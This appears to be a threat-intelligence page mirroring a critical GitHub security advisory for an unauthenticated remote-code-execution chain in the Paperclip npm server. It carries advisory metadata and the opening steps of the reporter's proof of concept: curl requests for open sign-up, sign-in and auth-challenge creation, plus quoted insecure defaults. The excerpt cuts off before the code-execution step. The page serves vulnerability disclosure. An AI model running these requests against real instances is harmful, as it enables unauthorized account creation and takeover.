criticalCVSS 10Vulnerability

GHSA-68qg-g8mg-6pr7

## Summary An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls. I verified every step against the latest version. I have a fully automated PoC script and a video recording available. Discord: sagi03581 ## Steps to Reproduce The attack chains four independent flaws to escalate from zero access to RCE: ### Step 1: Create an account (no invite, no email verification) ```bash curl -s -X POST -H "Content-Type: application/json" \ -d '{"email":"[email protected]","password":"P@ssw0rd123","name":"attacker"}' \ http://<target>:3100/api/auth/sign-up/email ``` Returns a valid account immediately. No invite token required, no email verification. This works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`: ```typescript const authDisableSignUp: boolean = disableSignUpFromEnv !== undefined ? disableSignUpFromEnv === "true" : (fileConfig?.auth?.disableSignUp ?? false); // default: open ``` And email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`: ```typescript emailAndPassword: { enabled: true, requireEmailVerification: false, disableSignUp: config.authDisableSignUp, }, ``` The environment variable isn't documented in the deployment guide, so operators don't know it exists. ### Step 2: Sign in ```bash curl -s -v -X POST -H "Content-Type: application/json" \ -d '{"email":"[email protected]","password":"P@ssw0rd123"}' \ http://<target>:3100/api/auth/sign-in/email ``` Capture the session cookie from the `Set-Cookie` header. ### Step 3: Create a CLI auth challenge and self-approve it Create the challenge (no authentication required at all): ```bash curl -s -X POST -H "Content-Type: application/json" \ -d '{"command":"test"}' \ http://<target>:3100/api/

Properties

ghsa_id
GHSA-68qg-g8mg-6pr7
severity
critical
summary
paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass
cvss_score
10
cve_id
GHSA-68qg-g8mg-6pr7
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
is_ghsa_only
true
ghsa_published
2026-04-10T21:08:57Z
source_url
https://github.com/advisories/GHSA-68qg-g8mg-6pr7
ghsa_updated
2026-04-15T20:42:31Z

Related Entities (8)

VULNERABLE_TO (2)

[Software]npm/paperclipai
[Software]npm/@paperclipai/server

AFFECTS (2)

[Software]npm/@paperclipai/server
[Software]npm/paperclipai

HAS_WEAKNESS (3)

[Weakness]Initialization of a Resource with an Insecure Default
[Weakness]Improper Authentication
[Weakness]Missing Authorization

REPORTED_BY (1)

[Source]GitHub Advisory Database

Explore deeper with Ninja Signal's threat intelligence graph

GHSA-68qg-g8mg-6pr7 (CVSS 10) — Ninja Signal Threat Intelligence | Ninja Signal